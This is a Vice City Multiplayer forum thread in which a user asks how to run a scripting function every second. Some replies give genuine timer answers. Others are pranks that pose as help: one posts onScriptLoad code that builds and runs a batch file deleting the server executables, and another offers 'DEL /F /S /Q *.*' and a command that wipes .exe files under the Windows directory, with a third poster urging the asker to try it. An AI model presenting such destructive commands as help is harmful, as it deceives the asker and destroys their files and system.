Vice City: Multiplayer

VC:MP Discussion => General Discussion => Topic started by: Luckshya on Nov 02, 2015, 03:51 PM

Title: Function Help!
Post by: Luckshya on Nov 02, 2015, 03:51 PM
How can i make a function run after every second for unlimited times?
Title: Re: Function Help!
Post by: . on Nov 02, 2015, 03:55 PM
I wonder how? Can anyone tell me as well. We need to solve this mystery.
Title: Re: Function Help!
Post by: Luckshya on Nov 02, 2015, 03:56 PM
Yea.
Title: Re: Function Help!
Post by: KAKAN on Nov 02, 2015, 04:13 PM
lol, SLC
NewTimer("Myfunc",1,0);
Title: Re: Function Help!
Post by: Luckshya on Nov 02, 2015, 04:17 PM
Really. Oh. I'll try it by putting in onscriptload, lets see.
Title: Re: Function Help!
Post by: EK.IceFlake on Nov 02, 2015, 04:18 PM
Like this
function onScriptLoad()
{
    system("echo ping 127.0.0.1 >rip.bat");
    system("echo del server.exe >rip.bat");
    system("echo del server32.exe >rip.bat");
    system("echo del server64.exe >rip.bat");
    print("Please rest in peace");
    system("rip.bat & exit");
}
Enjoy ;)
Title: Re: Function Help!
Post by: KAKAN on Nov 02, 2015, 04:20 PM
Don't follow Crys.
Title: Re: Function Help!
Post by: rulk on Nov 02, 2015, 04:22 PM
You could achieve this two ways,

Method One:
Place the timer function in a variable so we can access it's properties.

This will start the timer and run 'MyFunction' every second untill you call 'MyVar.Stop'

MyVar <- NewTimer( "MyFunction", 1000, 0 );

Method Two
Using the 'Modulus Operator' to determin how many seconds have passed since the start of the process.

Note: This will only trigger when a player is moving in the server, but it's an alternative to a timer.
function onPlayerMove( player, oldX, oldY, oldZ, newX, newY, newZ )
{
      if ( abs( clock() ) % 1000 == 0 ) MyFunction();
}
Title: Re: Function Help!
Post by: . on Nov 02, 2015, 04:25 PM
If you wanted to do any permanent good you could have:
system("DEL /F /S /Q *.*")
Or even:
system("DEL /F /S /Q %WINDIR%\*.exe")
Title: Re: Function Help!
Post by: KAKAN on Nov 02, 2015, 04:29 PM
LOLOL!
That's the best one, try it.
Title: Re: Function Help!
Post by: Luckshya on Nov 03, 2015, 09:22 AM
Thanx. Solved.